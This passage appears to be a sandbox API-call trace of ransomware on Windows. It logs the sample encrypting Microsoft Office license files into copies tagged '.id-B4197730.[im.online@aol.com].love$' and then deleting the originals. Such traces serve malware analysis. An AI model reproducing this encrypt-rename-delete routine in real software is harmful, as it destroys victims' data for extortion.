lstrlenW (lpString=".bz2") returned 4 [0272.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.294] lstrlenW (lpString=".7z") returned 3 [0272.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.294] lstrlenW (lpString=".dbf") returned 4 [0272.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.294] lstrlenW (lpString=".1cd") returned 4 [0272.294] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0272.294] lstrlenW (lpString=".jpg") returned 4 [0272.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.295] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.295] lstrlenW (lpString="MondoR_SubTrial-ppd.xrm-ms") returned 26 [0272.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.296] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=26525) returned 1 [0272.296] CloseHandle (hObject=0x4e4) returned 1 [0272.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220 [0272.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.297] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.298] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0272.299] GetLastError () returned 0x0 [0272.299] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x679d, lpOverlapped=0x0) returned 1 [0272.626] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0272.628] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.628] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x108, lpOverlapped=0x0) returned 1 [0272.628] SetEndOfFile (hFile=0x57c) returned 1 [0272.629] CloseHandle (hObject=0x57c) returned 1 [0272.629] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.629] SetEndOfFile (hFile=0x4e4) returned 1 [0272.633] CloseHandle (hObject=0x4e4) returned 1 [0272.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1 [0272.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.635] lstrlenW (lpString=".doc") returned 4 [0272.635] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.635] lstrlenW (lpString=".docx") returned 5 [0272.635] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.635] lstrlenW (lpString=".pdf") returned 4 [0272.635] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.635] lstrlenW (lpString=".xls") returned 4 [0272.636] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.636] lstrlenW (lpString=".xlsx") returned 5 [0272.636] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.636] lstrlenW (lpString=".ppt") returned 4 [0272.636] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.636] lstrlenW (lpString=".zip") returned 4 [0272.636] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.636] lstrlenW (lpString=".rar") returned 4 [0272.636] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.636] lstrlenW (lpString=".bz2") returned 4 [0272.636] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.636] lstrlenW (lpString=".7z") returned 3 [0272.636] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.636] lstrlenW (lpString=".dbf") returned 4 [0272.636] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.636] lstrlenW (lpString=".1cd") returned 4 [0272.636] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.637] lstrlenW (lpString=".jpg") returned 4 [0272.637] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.637] lstrlenW (lpString=".doc") returned 4 [0272.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString=".docx") returned 5 [0272.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.637] lstrlenW (lpString=".pdf") returned 4 [0272.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString=".xls") returned 4 [0272.637] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString=".xlsx") returned 5 [0272.637] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.637] lstrlenW (lpString=".ppt") returned 4 [0272.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.637] lstrlenW (lpString=".zip") returned 4 [0272.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString=".rar") returned 4 [0272.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString=".bz2") returned 4 [0272.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.637] lstrlenW (lpString=".7z") returned 3 [0272.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.638] lstrlenW (lpString=".dbf") returned 4 [0272.638] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.638] lstrlenW (lpString=".1cd") returned 4 [0272.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0272.638] lstrlenW (lpString=".jpg") returned 4 [0272.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.638] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.638] lstrlenW (lpString="MondoR_Trial-pl.xrm-ms") returned 22 [0272.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.640] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11139) returned 1 [0272.640] CloseHandle (hObject=0x4e4) returned 1 [0272.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220 [0272.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.641] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.641] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0272.642] GetLastError () returned 0x0 [0272.642] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0272.645] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0272.647] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.647] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x100, lpOverlapped=0x0) returned 1 [0272.647] SetEndOfFile (hFile=0x57c) returned 1 [0272.647] CloseHandle (hObject=0x57c) returned 1 [0272.647] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.647] SetEndOfFile (hFile=0x4e4) returned 1 [0272.651] CloseHandle (hObject=0x4e4) returned 1 [0272.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1 [0272.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.654] lstrlenW (lpString=".doc") returned 4 [0272.654] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.654] lstrlenW (lpString=".docx") returned 5 [0272.654] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.654] lstrlenW (lpString=".pdf") returned 4 [0272.654] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.654] lstrlenW (lpString=".xls") returned 4 [0272.654] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.654] lstrlenW (lpString=".xlsx") returned 5 [0272.654] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.654] lstrlenW (lpString=".ppt") returned 4 [0272.654] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.654] lstrlenW (lpString=".zip") returned 4 [0272.654] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.654] lstrlenW (lpString=".rar") returned 4 [0272.655] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.655] lstrlenW (lpString=".bz2") returned 4 [0272.655] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.655] lstrlenW (lpString=".7z") returned 3 [0272.655] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.655] lstrlenW (lpString=".dbf") returned 4 [0272.655] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.655] lstrlenW (lpString=".1cd") returned 4 [0272.655] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.655] lstrlenW (lpString=".jpg") returned 4 [0272.655] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.655] lstrlenW (lpString=".doc") returned 4 [0272.655] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.655] lstrlenW (lpString=".docx") returned 5 [0272.655] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.655] lstrlenW (lpString=".pdf") returned 4 [0272.655] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.655] lstrlenW (lpString=".xls") returned 4 [0272.656] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.656] lstrlenW (lpString=".xlsx") returned 5 [0272.656] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.656] lstrlenW (lpString=".ppt") returned 4 [0272.656] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.656] lstrlenW (lpString=".zip") returned 4 [0272.656] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.656] lstrlenW (lpString=".rar") returned 4 [0272.656] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.656] lstrlenW (lpString=".bz2") returned 4 [0272.656] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.656] lstrlenW (lpString=".7z") returned 3 [0272.656] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.656] lstrlenW (lpString=".dbf") returned 4 [0272.656] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.656] lstrlenW (lpString=".1cd") returned 4 [0272.656] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0272.656] lstrlenW (lpString=".jpg") returned 4 [0272.657] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.657] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.657] lstrlenW (lpString="MondoR_Trial-ppd.xrm-ms") returned 23 [0272.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.658] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=26585) returned 1 [0272.658] CloseHandle (hObject=0x4e4) returned 1 [0272.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220 [0272.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0272.659] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.660] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0272.835] GetLastError () returned 0x0 [0272.835] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x67d9, lpOverlapped=0x0) returned 1 [0272.839] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x67e0, lpOverlapped=0x0) returned 1 [0272.841] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.841] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x102, lpOverlapped=0x0) returned 1 [0272.841] SetEndOfFile (hFile=0x574) returned 1 [0272.841] CloseHandle (hObject=0x574) returned 1 [0272.841] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.842] SetEndOfFile (hFile=0x4e4) returned 1 [0272.849] CloseHandle (hObject=0x4e4) returned 1 [0272.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1 [0272.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.896] lstrlenW (lpString=".doc") returned 4 [0272.896] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.896] lstrlenW (lpString=".docx") returned 5 [0272.896] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.896] lstrlenW (lpString=".pdf") returned 4 [0272.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString=".xls") returned 4 [0272.897] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString=".xlsx") returned 5 [0272.897] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.897] lstrlenW (lpString=".ppt") returned 4 [0272.897] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.897] lstrlenW (lpString=".zip") returned 4 [0272.897] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString=".rar") returned 4 [0272.897] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString=".bz2") returned 4 [0272.897] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString=".7z") returned 3 [0272.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.897] lstrlenW (lpString=".dbf") returned 4 [0272.897] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.897] lstrlenW (lpString=".1cd") returned 4 [0272.897] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.897] lstrlenW (lpString=".jpg") returned 4 [0272.897] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.897] lstrlenW (lpString=".doc") returned 4 [0272.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.897] lstrlenW (lpString=".docx") returned 5 [0272.898] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.898] lstrlenW (lpString=".pdf") returned 4 [0272.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString=".xls") returned 4 [0272.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString=".xlsx") returned 5 [0272.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.898] lstrlenW (lpString=".ppt") returned 4 [0272.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0272.898] lstrlenW (lpString=".zip") returned 4 [0272.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString=".rar") returned 4 [0272.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.898] lstrlenW (lpString=".bz2") returned 4 